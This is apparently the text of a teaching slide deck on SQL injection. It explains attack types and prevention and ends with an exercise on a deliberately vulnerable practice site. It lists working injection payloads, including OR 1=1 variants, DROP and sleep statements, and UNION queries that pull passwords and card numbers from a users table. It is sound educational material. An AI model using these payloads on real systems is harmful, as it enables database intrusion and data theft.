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History
● SQL statements are a specialized language used to update, select, request 

and delete information from a database or website
● SQL injections are a specific type of attack that exploit vulnerabilities in 

the security of an application
○ Ranked as the #1 security threat by OWASP

● Can perform a wide array of attacks
○ Spoof identities
○ Tamper existing data
○ Change database values
○ Destroy the data
○ Become administrators of the database server



So How Do They Work?
● Two conditions required for a SQL injection:

○ Database that uses SQL
○ User input that’s used directly in the SQL query

● Attacker can take advantage of SQL syntax when entering input to gain 
access to information they shouldn’t have access to



SQL Syntax
● Delimiters (;): ends a query and begins the next one
● Comments (--): ignore the rest of a SQL statement
● String literals (‘ ’ or “ ”): hold string values
● Operators

○ OR
○ AND
○ WHERE
○ SELECT
○ UNION: combines the results of 2+ SELECT statements
○ JOIN: combines columns from 2+ databases
○ DELETE



Common Types and Techniques of Attack
● In-band

○ Error based
○ Union based

● Blind
○ Boolean based
○ Time based

Techniques:

● Use an OR 1=1 statement 
● Line comments (DROP sampletable;-- )
● Executing multiple queries in one statement (SELECT * FROM products WHERE id = 

10; DROP members--)
● Execute a sleep statement (SELECT sleep(10); ) 



Helpful Hints
● Look for websites that take parameters as input 

(http://sample/index.asp?id=10)
● Test if it’s vulnerable using single quote techniques:

○ http://sample/index.asp?id=anything’ or 1=1-- 
○ Login: anything’' or 1=1--

■ ' or 1=1--
■ " or 1=1--
■ or 1=1--
■ ' or 'a'='a
■ " or "a"="a
■ ') or ('a'='a

http://sample/index.asp?id=10


How to prevent against attack
● Sanitize input

○ Ensure that user can’t input semi-colons, quotation marks, double dashes, or any other 
common SQL operators as their input. Could also escape the characters 

○ Whitelist input

● Parameterize input
○ Don’t execute code directly as SQL 

statements
○ Create string using placeholders

● Never grant full database privileges to the website (limit access to a 
handful of tables only)

● Limit error reporting to avoid including developer debugging information



Examples



An Easy Walkthrough
https://www.hacksplaining.com/exercises/sql-injection# 

https://www.hacksplaining.com/exercises/sql-injection#


Let’s Have Fun!
● Go to this website: http://testphp.vulnweb.com 

http://testphp.vulnweb.com


● Under any of the artists, inspect the URL
● Can you try one of the SQL techniques we discussed? What happens?

My statement: http://testphp.vulnweb.com/artists.php?artist=anything’ OR 1=1;-- 

http://testphp.vulnweb.com/artists.php?artist=anything


Let’s try to extract 
information from this 
database using this 
malicious query:

http://testphp.vulnweb.co
m/artists.php?artist=3 
UNION SELECT 1, 2, 3

What about this?

http://testphp.vulnweb.co
m/artists.php?artist=-1 
UNION SELECT 1, 2, 3

What did we learn from 
this?



What information can we extract from this website using a malicious query?

http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 
1,pass,cc FROM users WHERE uname='test'


